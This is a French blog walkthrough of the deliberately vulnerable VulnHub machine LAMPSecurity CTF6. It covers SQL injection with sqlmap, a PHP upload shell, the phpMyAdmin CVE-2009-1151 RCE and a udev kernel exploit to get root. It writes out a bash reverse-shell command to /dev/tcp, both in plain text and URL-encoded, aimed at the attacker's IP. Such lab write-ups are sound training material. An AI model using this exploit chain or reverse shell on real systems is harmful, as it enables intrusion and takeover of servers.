Cybersecurity
  • Mon Blog
    • 🏠Home
    • 📦Archives
      • 2024
      • 2023
      • 2022
    • 📂Catégories
    • 📧A propos de moi
  • Mes projets
    • Livres / publications
      • Sécurité des applications web - Stratégies offensives et défensives
    • MyExpense
    • XSS Exploitation Tool
  • Mes Articles
    • 2025
      • Mars
        • Comment les requêtes préparées (prepared statement) protègent-elles contre les injections SQL ?
      • Janvier
        • XSS Exploitation Tool v0.7.0
    • 2024
      • Décembre
        • XSS Exploitation Tool v0.6.0
      • Septembre
        • MyExpense v1.4
      • Aout
        • XSS Exploitation Tool v0.5.0
        • Exploitation des injections SQL au sein de la clause ORDER BY
      • Juin
        • Parution de mon livre, Sécurité des applications web - Stratégies offensives et défensives
      • Mai
        • Dompurify 3.0.10 bypass - Confusion nodeName and CDATA
        • Dompurify 3.0.9 bypass - Node type confusion
      • Avril
        • Bypass de validation d'URL et embedded credentials côté front
      • Mars
        • MyExpense v1.3
    • 2023
      • Mai
        • MyExpense v1.2
      • Mars
        • MyExpense v1.1
        • Fonctionnement de l'entête X-Content-Type-Options - Contournement de CSP
      • Février
        • Fonctionnement de l'entête HTTP Strict Transport Security Header (HSTS)
    • 2022
      • Décembre
        • Les injections CSS - Règle @import
        • Les injections CSS - Scroll-to-Text Fragment
      • Novembre
        • Les injections CSS - Attribute Selector
        • Les injections CSS - Règle @font-face et descripteur unicode
      • Octobre
        • XSS Exploitation Tool v0.4.0
      • Septembre
        • Cross-Site Scripting (XSS) et schéma d'URI javascript
      • Juillet
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Windows)
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Debian)
        • Est-il possible de contourner la fonction PHP htmlspecialchars() ?
  • Common Vulnerabilities and Exposures (CVE)
    • 2024
      • CVE-2024-29415
    • 2023
      • CVE-2023-42282
    • 2022
      • CVE-2022-33910
      • CVE-2022-32444
      • CVE-2022-32442
    • 2020
      • CVE-2020-26311
  • Livres
    • 2023
      • Attacking and Exploiting Modern Web Applications
      • DevSecOps - Développez et administrez vos services en toute sécurité
    • 2022
      • Hacking APIs - Breaking Web Application Programming Interfaces
    • 2018
      • Practical Web Penetration Testing
      • Web Hacking 101: How to Make Money Hacking Ethically
  • Walkthroughs
    • Capture The Flag
      • Hack.lu CTF 2019
        • Nucular Power Plant
      • TAMUctf 2019
        • 1337 Secur1ty
        • Bird Box Challenge
        • Science!
    • Deliberately Vulnerable
      • CORS vulnerable Lab
        • Application Trust Arbritrary Origin
        • Application has bad "regex" Implementation to check Trusted Origin
        • Application Trust "null" Origin
      • Damn Vulnerable Web Application (DVWA)
        • Brute Force
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Command Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSRF
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Inclusion
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Upload
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Insecure CAPTCHA
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection (Blind)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Weak Session IDs
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (DOM)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Reflected)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Stored)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSP Bypass
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Javascript
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
      • Unescape() room
        • Level 1 (practice)
        • Level 2 (practice)
        • Level 3 (practice)
        • Level 4 (practice)
        • Level 5 (practice)
        • Level 6 (practice)
        • Level 7 (practice)
        • Level 8 (practice)
        • Level 9 (practice)
        • Level 10 (practice)
      • VulnHub
        • GoatseLinux: 1
        • Hackademic: RTB1
        • Hackademic: RTB2
        • Holynix: v1
        • Holynix: v2
        • Kioptrix: Level 1 (#1)
        • Kioptrix: Level 1.1 (#2)
        • Kioptrix: Level 1.2 (#3)
        • Kioptrix: Level 1.3 (#4)
        • LAMPSecurity: CTF4
        • LAMPSecurity: CTF5
        • LAMPSecurity: CTF6
        • Metasploitable: 1
        • pWnOS 1.0
        • pWnOS 2.0 (Pre-Release)
      • XSS Vulnerability Challenges
        • xss1
        • xss2
        • xss3
        • xss4
        • xss5
        • xxs6
        • xss7
        • xss8
Propulsé par GitBook
Sur cette page
  • Détails de la machine
  • Reconnaissance
  • Serveur HTTP (port 80)
  • Serveur HTTP (port 443)
  • Exploitation
  • Injection SQL
  • Injection de code
  • PhpMyAdmin (CVE-2009-1151)
  • Élévation de privilèges
  • Conclusion
  1. Walkthroughs
  2. Deliberately Vulnerable
  3. VulnHub

LAMPSecurity: CTF6

PrécédentLAMPSecurity: CTF5SuivantMetasploitable: 1

Dernière mise à jour il y a 2 ans

Détails de la machine

Nom : LAMPSecurity: CTF6 Date de sortie : 29 Juin 2009 Lien de téléchargement : Niveau : Facile Objectif(s) : obtenir un "root" Description :The LAMPSecurity project is an effort to produce training and benchmarking tools that can be used to educate information security professionals and test products. Please note there are other capture the flag exercises (not just the latest one). Check the SourceForge site to find other exercises available (http://sourceforge.net/projects/lampsecurity/files/CaptureTheFlag/). These exercises can be used for training purposes by following this documentation. Alternatively you may wish to test new tools, using the CTF virtual machines as targets. This is especially helpful in evaluating the effectiveness of vulnerability discovery or penetration testing tools.

Reconnaissance

Ma cible, si je l'accepte, sera désignée par netdiscovery :

Je scanne les services de la bête, comme d'habitude avec nmap :

Rien de très particulier ici, du SSH, un serveur web, un service MySQL sur le port 3306. A noter tout de même un serveur web sur le port 443.

Serveur HTTP (port 80)

Tout en commençant la reconnaissance manuelle je lance un nikto dont voici les résultats :

Plusieurs URLs intéressants à ne pas oublier de visiter après la petite reconnaissance :

  • /files

  • /lib

  • /mail

  • /phpmyadmin

  • /sql

La page d'accueil du serveur HTTP présente la page d'un revendeur de widgets. Je remarque bien évidemment les quelques messages postés par l'utilisateur "admin", un lien vers un webmail, des informations sur les technologies utilisées (PHP, MySQL, CenOS) et pour terminer des noms/prénoms du staff :

Ni une ni deux, l'injection SQL présente au niveau du paramètre "id" permettant d'identifier un billet :

phpMyAdmin

Le phpMyAdmin disponible sur le serveur est une version 3.0.0. Il est possible de savoir cela en allant vérifier l'URL http://192.168.1.29/phpmyadmin/README. Cette version est vulnérable à une RCE :

Serveur HTTP (port 443)

Exploitation

Injection SQL

Ici je ne m'embête pas : sqlmap à la rescousse. Il y a deux bases intéressantes, la base "cms" qui correspond au site web, ainsi que la base "roundcube" qui correspond au webmail :

Pas de mot de passe de disponible dans la table "users" de la base de données "roundcube", mais je récupère à la place le mot de passe de mysql :

Injection de code

Je m'authentifie grâce au compte fraîchement récupéré, puis je m'aperçois qu'il est possible d'ajouter un événement via le bouton "Add Event". Sans le moindre effort apparaît déjà deux XSS stockées grâce au champ "Titre" et "Description" :

Ma machine ayant plantée à ce moment dû à un effet kiss kool ayant une origine inconnue, l'IP de la victime devient maintenant 192.168.1.30

Je continue avec l'option de joindre un fichier avec l’événement (ici qui contient un script PHP appelant la méthode phpinfo()) :

Il suffit ensuite d'aller directement sur le lien de l'image et :

Un peu de msfvenom ensuite ?

Je suis dans la place avec mon shell limité :

PhpMyAdmin (CVE-2009-1151)

Etant donné que j'avez déjà identifié l'injection de code au niveau du phpMyAdmin, je me suis amusé à l'exploiter également. Il suffit tout d'abord d'exécuter l'exploit "8921.sh" disponible, puis de renseigner l'URL suivante avec la commande désirée :

J'ai légèrement galéré pour récupérer un shell propre, car netcat ne semblait pas passer. J'ai alors utilisé bash avec la commande suivante : bash -i >& /dev/tcp/adresse_ip/port 0<&1 :

Pour cela que cela fonctionne via le navigateur j'ai tout d'abord encodé le tout en encodage URL soit : c=%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%2e%31%30%33%2f%35%35%35%35%20%30%3e%26%31 :

Côté Kali un simple netcat en écoute et lors de l'exécution de l'exploit :

Élévation de privilèges

Je récupère la version du noyau afin de voir s'il est possible de l'exploiter :

Je suis maintenant "root", travail terminé

Conclusion

Cette machine suit les mêmes règles que ces petites sœurs, et cela me va très bien. Rien de très difficile à part l'exploit qui est un peu capricieux. Une fois "root" j'ai récupéré le fichier "/etc/shadow" afin de voir si certains mots de passe étaient guessable ou bruteforcable par exemple (dans le cas où on serait passé à côté de la faille web) :

Certains comptes étaient donc bruteforcables car les mots de passe étaient présents dans le dictionnaire "rockyou.txt".

Les différentes URLs sont intéressantes mais sans doute facultatives : j'y retrouve un script SQL qui permet de connaitre des informations sur la base de données (mais sqlmap en aura pas besoin ), un répertoire d'images, le phpMyAdmin ou encore le client mail.

Il s'agit en fait du même si que celui présent sur le port 80, je suis déçu .

Bonne nouvelle, une recherche sous Google m'indique que la version 2.6 de Linux est vulnérable à la CVE-2009-1185. Il s'agit en fait d'une vulnérabilité du gestionnaire de périphériques udev qui accepte des messages NETLINK de la part des utilisateurs locaux alors qu'il ne devrait les accepter seulement s'ils proviennent de l'espace noyau. Je récupère donc l'exploit () puis l'exécute :

😄
😞
https://www.exploit-db.com/exploits/8478
http://sourceforge.net/projects/lampsecurity/files/CaptureTheFlag/CTF6/lampsecurity_ctf6.zip/download